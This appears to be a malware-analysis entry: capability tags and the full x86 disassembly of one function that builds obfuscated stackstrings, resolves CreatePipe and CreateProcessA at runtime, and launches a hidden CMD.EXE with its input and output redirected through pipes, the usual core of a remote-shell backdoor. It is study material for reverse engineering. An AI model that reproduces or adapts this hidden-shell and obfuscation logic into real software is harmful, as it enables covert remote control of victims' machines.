Function at 0x10009a75
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov eax, 0x10012f60
call fcn.10011cd0
sub esp, 0x198
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 8]
mov dword [ebp - 0x5c], esi
call fcn.1000777a
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ebx, ebx
push str.CreatePipe
push str.KERNEL32.dll
mov dword [ebp - 4], ebx
mov dword [esi], 0x10013284
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 0x20], 0x6b
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x34], 0x47
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x31], 0x53
mov byte [ebp - 0x30], 0x79
mov byte [ebp - 0x2f], 0x73
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x6d
mov byte [ebp - 0x2b], 0x44
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x72
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x63
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x79
mov byte [ebp - 0x22], 0x41
mov byte [ebp - 0x21], bl
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateProcessA
push str.kernel32.dll
mov dword [ebp - 0x44], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x48], eax
xor eax, eax
lea edi, [ebp - 0x3c]
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x9c]
mov dword [ebp - 0xa0], ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x54]
mov dword [ebp - 0x58], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov byte [ebp - 0x1a4], bl
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x1a3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x40]
lea edi, [esi + 0x1c]
push ebx
lea eax, [esi + 0x10]
push ecx
push edi
push eax
mov dword [eax], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [edi], ebx
mov dword [ebp - 0x40], 0xc
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], 1
call dword [ebp - 0x10]
test eax, eax
jne 0x10009c08
push str.CloseHandle
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x10009bf5
push eax
call dword [ebp - 0x10]
mov edi, dword [edi]
cmp edi, ebx
je 0x10009d5f
push edi
call dword [ebp - 0x10]
jmp 0x10009d5f
lea eax, [ebp - 0x40]
push ebx
push eax
lea eax, [esi + 0x14]
push eax
lea eax, [esi + 0x18]
push eax
call dword [ebp - 0x10]
test eax, eax
jne 0x10009c52
push str.CloseHandle
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [esi + 0x14]
cmp eax, ebx
je 0x10009c3f
push eax
call edi
mov eax, dword [esi + 0x18]
cmp eax, ebx
je 0x10009d5f
push eax
call edi
jmp 0x10009d5f
push 0x44
lea eax, [ebp - 0xa0]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x58]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esi + 0x18]
push 0x104
mov dword [ebp - 0x68], eax
mov eax, dword [edi]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x1a4]
mov dword [ebp - 0xa0], 0x44
push eax
mov word [ebp - 0x70], bx
mov dword [ebp - 0x74], 0x101
call dword [ebp - 0x44]
lea eax, [ebp - 0x1a4]
push str.CMD.EXE
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x58]
pop ecx
push eax
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
lea eax, [ebp - 0x1a4]
push ebx
push eax
call dword [ebp - 0x48]
test eax, eax
jne 0x10009d12
push str.CloseHandle
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esi + 0x10]
mov ebx, eax
call ebx
push dword [esi + 0x14]
call ebx
push dword [esi + 0x18]
call ebx
push dword [edi]
call ebx
jmp 0x10009d5f
mov eax, dword [ebp - 0x58]
push 1
mov dword [esi + 0x20], eax
mov eax, dword [ebp - 0x54]
mov dword [esi + 0x24], eax
lea eax, [ebp + 0xb]
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x83
call fcn.100076a0
mov ecx, esi
call fcn.1000772b
push ebx
push ebx
push ebx
push esi
push 0x10009efd
push ebx
push ebx
call fcn.1000b2f7
push ebx
push ebx
push ebx
push esi
push 0x10009fc5
push ebx
push ebx
mov dword [esi + 0x28], eax
call fcn.1000b2f7
add esp, 0x38
mov dword [esi + 0x2c], eax
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4